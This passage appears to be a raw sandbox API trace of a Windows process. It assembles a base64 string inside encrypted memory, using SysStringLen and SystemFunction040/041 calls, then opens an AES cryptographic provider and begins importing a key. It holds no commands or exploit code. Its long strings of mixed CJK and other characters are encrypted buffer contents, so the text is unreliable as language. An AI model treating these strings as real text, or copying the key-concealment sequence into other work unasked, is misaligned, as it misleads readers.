(param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0193.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0193.541] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.542] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0193.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0193.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0193.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.542] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0193.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0193.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0193.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.542] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0193.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0193.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0193.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.543] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0193.653] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0193.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0193.653] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.654] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0193.654] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0193.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0193.654] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.654] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0193.654] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.654] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0193.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0193.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0193.655] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0193.655] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.655] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0193.655] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.656] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0193.656] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0193.656] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.656] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0193.656] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.656] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0193.656] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0193.656] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.656] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0193.656] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.657] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0193.657] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0193.657] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.657] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0193.657] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.657] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0193.657] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0193.657] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.657] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0193.657] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0193.658] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.658] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0193.658] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0193.658] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.658] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0193.658] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0193.658] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0193.659] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.659] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0193.659] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.659] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0193.659] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0193.659] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0193.659] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0193.659] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.660] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0193.660] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.660] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0193.660] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0193.660] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.660] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0193.660] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.660] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0193.660] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0193.660] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.660] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0193.660] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0193.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0193.661] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.661] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0193.661] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0193.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0193.661] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.661] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0193.661] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.661] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0193.662] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0193.662] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.662] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0193.662] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.662] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0193.662] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0193.662] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.662] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0193.662] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0193.663] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.663] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0193.663] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0193.663] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0193.664] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.664] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0193.664] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.664] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0193.664] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0193.665] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.667] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0193.667] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.667] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0193.667] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0193.667] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.667] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0193.668] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.668] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0193.668] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0193.668] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.668] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0193.668] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.668] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0193.668] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0193.668] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.668] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0193.668] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0193.669] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.669] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0193.669] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0193.669] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.669] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0193.669] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0193.669] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0193.669] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.670] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0193.670] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.670] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0193.670] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0193.670] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0193.670] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0193.670] SystemFunction041 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.671] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0193.671] SystemFunction040 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0193.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0193.671] SystemFunction041 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.671] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0193.671] SystemFunction040 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0193.671] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0193.671] SystemFunction041 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.671] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0193.672] SystemFunction040 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0193.672] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0193.672] SystemFunction041 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.672] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0193.672] SystemFunction040 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.672] EtwEventActivityIdControl () returned 0x0 [0193.673] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0193.673] SystemFunction041 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.673] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0193.673] SystemFunction040 (in: Memory=0x3da7ec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da7ec) returned 0x0 [0193.675] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cf68) returned 1 [0193.681] CryptImportKey (in: 